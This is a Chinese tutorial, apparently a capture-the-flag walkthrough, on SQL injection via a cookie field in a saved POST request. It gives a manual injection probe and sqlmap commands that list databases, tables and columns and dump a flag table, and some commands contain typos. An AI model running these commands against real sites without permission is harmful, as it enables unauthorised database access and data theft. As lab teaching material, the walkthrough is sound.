sqlmap的post注入

Bertha 。 2023-06-10 15:24 2阅读 0赞

# **目录** #

1.  sqlmap的POST注入
2.  cookie注入暴数据库

--------------------

## ** POST注入** ##

**1.验证存在注入**

正常数据包"cookie：user=user"修改"cookie：user=admin"后都会出现flag参数

![format_png][]

验证Cookie: user=admin’ and ‘1’=1’报错，回显没有flag，说明这种情况就存在注入

![format_png 1][]

**2.复制post另存为1.txt文件**

**![format_png 2][]**

>>这里是修改cookie后进行注入的，那么要结合cookie注入来看post注入的原理，其实两个是要联合进行注入的，互不影响。

--------------------

## **cookie注入** ##

所谓的POST注入是发送POST请就包进行注入，cookie注入是修改cookie信息进行伪装身份或者说是作为一个注入点进行渗透

### 1.暴数据库 ###

>sqlmap -r 1.txt -p --cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  --dbs

![format_png 3][]

>>可以看到有四个数据库

POST文件1.txt这里要写文件位置如：/root/1.txt

cookie要写成：--cookie="user=admin"

--string参数，用来来指定结果为true时页面所包含的字符，不包含这个字符的都会被判断为false：--string=“flag”表示正确时候回显flag这个单词

指定数据库类型：--dbms=mysql

暴数据库：--dbs

### 2.猜表 ###

>sqlmap -r 1.txt -p --cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  -D employee --tables

![format_png 4][]

>>猜出employee数据库下有三个表

对特定的数据库进行猜表：-D  数据库名

猜表：--tables

其它的参数不变

### 3.猜表fllaagg中的列 ###

>sqlmap -r 1.txt -p --cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  -D employee -T fllaagg --columns

![format_png 5][]

猜列要指定数据库、表：-D  数据库   -T  数据表

猜列：--columns

### 4.猜表中的字段 ###

>sqlmap  -r  1.txt  -p - -cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  -D employee -T fllaagg "flag" --dump

![format_png 6][]

>>找到包含flag的字段

猜字段要指定数据库、表、内容：-D  数据库  -T  数据表   "内容"

猜字段：--dump

同样的方法可以查看其它数据库、表的内容，注入点方法也是一样的，这里注入点为cookie修改数据后的数据包。如果本身POST数据包存在注入直接使用post注入，可以不用加cookie注入--cookie“user=admin”类似这样的参数。

[format_png]: /images/20230531/7443f5e581d44613a25e773e6e41974c.png
[format_png 1]: /images/20230531/b248eb3bdfa84dfd848f41ef402dd40f.png
[format_png 2]: /images/20230531/6844007439414647a012fd6f220bd70d.png
[format_png 3]: /images/20230531/38128bb28fc8416d87a05cb6996054a0.png
[format_png 4]: /images/20230531/70219de116604fb788298e923b73ad6f.png
[format_png 5]: /images/20230531/3fae99877d5245d68197ddc7d5e21e44.png
[format_png 6]: /images/20230531/64e792835efd4a6286cbe157f90d2b29.png